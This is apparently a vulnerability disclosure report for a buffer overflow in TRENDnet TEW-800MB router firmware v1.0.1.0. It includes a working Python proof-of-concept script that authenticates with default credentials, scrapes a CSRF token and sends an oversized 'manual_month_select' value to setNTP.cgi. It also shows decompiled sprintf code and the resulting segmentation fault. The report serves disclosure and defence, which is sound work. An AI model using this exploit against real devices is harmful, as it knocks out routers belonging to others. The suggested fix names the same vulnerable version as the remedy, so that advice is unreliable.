CVE Report - Buffer Overflow Vulnerability in Trendnet fw_tew800mb(v1.0.1.0) Routers

Vulnerability Title

Buffer Overflow Vulnerability in fw_tew800mb(v1.0.1.0) Routers

Vulnerability Description

TRENDnet fw_tew800mb devices have an buffer overflow vulnerability in the sub_33ACC, which allows remote attackers to cause web crash via parameter "manual_month_select" passed to the binary through a POST request.

POC

```
#coding=gbk
import requests
import base64
import re

if __name__ == '__main__':
    print('start !!! ')

    target = "172.17.0.11"
    username = "admin"
    password = "admin"
    auth = username + ":" + password
    hash = base64.b64encode(auth.encode('utf-8')).decode('utf-8')
    s = requests.Session()

    headers = {
        'User-Agent': "Mozilla/5.0 (X11; Ubuntu; Linux x86_64;
rv:109.0) Gecko/20100101 Firefox/113.0",
        'Accept':
"text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,
image/webp,*/*;q=0.8",
        'Accept-Language': "en-US,en;q=0.5",
        'Accept-Encoding': "gzip, deflate, br",
        'Authorization': f'Basic {hash}',
        'Connection': "close",
```

```
        'Upgrade-Insecure-Requests': "1"
    }
    response = s.request("GET",
f'http://{target}/wizard/wizard.asp', headers=headers)

    data = response.text

    token_pattern = r'name="token" value="([^"]+)"'
    token_match = re.search(token_pattern, data)
    if token_match:
        token_value = token_match.group(1)
    else:
        token_value = "Token not found"
        print(token_match)
        exit


    burp0_url = "http://" + target + "/setNTP.cgi"
    burp0_headers = {
        'User-Agent': 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64;
rv:109.0) Gecko/20100101 Firefox/113.0',
        'Accept':
'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,
image/webp,*/*;q=0.8',
        'Accept-Language': 'en-US,en;q=0.5',
        'Accept-Encoding': 'gzip, deflate, br',
        'Content-Type': 'application/x-www-form-urlencoded',
        'Authorization': f'Basic {hash}',
        'Connection': 'close',
        'Cookie': 'expandable=6c',
        'Upgrade-Insecure-Requests': '1'
    }

    # Form data to be sent in POST request
    burp0_data = {
        'token': f'{token_value}',
        'page':'a',
        'timeTag':'manual',
        'manual_month_select': 'a'*1000,
    }
    s.post(burp0_url, headers=burp0_headers, data=burp0_data)
    print("end !!! ")
```

Cause Analysis

The Getvalue function accepts external data. The user affects v35 by setting the manual_month_select value. It cause web server crash.

```
v27 = Getvalue((int)"manual_day_select");
if ( v27 )
  v28 = (const char *)v27;
else
  v28 = &byte_3D5C4;
v29 = Getvalue((int)"manual_hour_select");
if ( v29 )
  v30 = (const char *)v29;
else
  v30 = &byte_3D5C4;
v31 = Getvalue((int)"manual_min_select");
if ( v31 )
  v32 = (const char *)v31;
else
  v32 = &byte_3D5C4;
v33 = Getvalue((int)"manual_sec_select");
if ( v33 )
  v22 = (const char *)v33;
sprintf(v35, "date -s %s%s%s%s%s.%s", v34, v28, v30, v32, v24, v22);
```

Attack effect

```
date: invalid date 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa.'
Segmentation fault (core dumped)
```

Suggested Fix

It is recommended to update to the version fw_tew800mb(v1.0.1.0) of router to fix this vulnerability.